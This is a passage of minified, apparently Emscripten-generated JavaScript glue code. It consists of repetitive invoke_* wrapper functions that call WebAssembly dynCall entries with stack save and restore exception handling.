Module[\"dynCall_dji\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_f(index){var sp=stackSave();try{return Module[\"dynCall_f\"](index)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fdi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_fdi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ff(index,a1){var sp=stackSave();try{return Module[\"dynCall_ff\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fff(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_fff\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ffffffi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_ffffffi\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ffffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_ffffi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fffi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_fffi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fffifffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_fffifffi\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ffi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_ffi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fi(index,a1){var sp=stackSave();try{return Module[\"dynCall_fi\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fidi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_fidi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fif(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_fif\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiff(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_fiff\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_fifffi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_fiffi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fifi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_fifi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fifii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_fifii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_fifiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fifiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_fifiiiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fii(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_fii\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiifi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_fiifi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_fiifii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiii(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_fiii\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_fiiifii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_fiiii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiiiif(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_fiiiif\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_fiiiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_fiiiiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiiiiiifiifif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module[\"dynCall_fiiiiiifiifif\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fiiiiiifiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module[\"dynCall_fiiiiiifiiiif\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_fji(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_fji\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_i(index){var sp=stackSave();try{return Module[\"dynCall_i\"](index)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_idi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_idi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_idiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_idiii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iffffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iffffi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ifffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_ifffi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iffi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_iffi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ifi(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_ifi\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ifiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_ifiii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_ii(index,a1){var sp=stackSave();try{return Module[\"dynCall_ii\"](index,a1)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iidi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_iidi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iidii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iidii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iif(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_iif\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifff(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iifff\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iifffi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iiffi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifi(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_iifi\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iifii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iifiifiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iifiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iifiiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iifiiiijii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module[\"dynCall_iifiiiijii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iii(index,a1,a2){var sp=stackSave();try{return Module[\"dynCall_iii\"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiddi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iiiddi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiidi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iiidi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiidii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iiidii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiif(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_iiif\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiff(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iiiff\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiifi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iiifi\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iiifii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiifiifii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iiifiifii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiifiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module[\"dynCall_iiifiifiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiifiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iiifiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiifiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiifiiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiii(index,a1,a2,a3){var sp=stackSave();try{return Module[\"dynCall_iiii\"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module[\"dynCall_iiiifffffi\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifffffii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module[\"dynCall_iiiifffffii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module[\"dynCall_iiiifffiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiiiffii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iiiifi\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iiiifii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiiifiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iiiifiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiifiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module[\"dynCall_iiiifiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iiiii\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiiiiffi\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiifi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iiiiifi\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iiiiifiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiifiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{return Module[\"dynCall_iiiiifiiiiif\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iiiiii\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiifff(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iiiiiifff\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiifffiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15){var sp=stackSave();try{return Module[\"dynCall_iiiiiifffiiifiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiffiiiiiiiiiffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23){var sp=stackSave();try{return Module[\"dynCall_iiiiiiffiiiiiiiiiffffiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiffiiiiiiiiiffffiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24){var sp=stackSave();try{return Module[\"dynCall_iiiiiiffiiiiiiiiiffffiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiffiiiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22){var sp=stackSave();try{return Module[\"dynCall_iiiiiiffiiiiiiiiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiifiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module[\"dynCall_iiiiiifiif\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module[\"dynCall_iiiiiifiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iiiiiii\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiifiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module[\"dynCall_iiiiiiifiif\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module[\"dynCall_iiiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module[\"dynCall_iiiiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{return Module[\"dynCall_iiiiiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module[\"dynCall_iiiiiiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{return Module[\"dynCall_iiiiiiiiiiiiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiiji(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiiiiji\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiij(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module[\"dynCall_iiiij\"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiiji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module[\"dynCall_iiiiji\"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiijii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module[\"dynCall_iiiijii\"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiijiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module[\"dynCall_iiiijiii\"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiij(index,a1,a2,a3,a4){var sp=stackSave();try{return Module[\"dynCall_iiij\"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!==\"number\"&&e!==\"longjmp\")throw e;Module[\"setThrew\"](1,0)}}function invoke_iiiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return 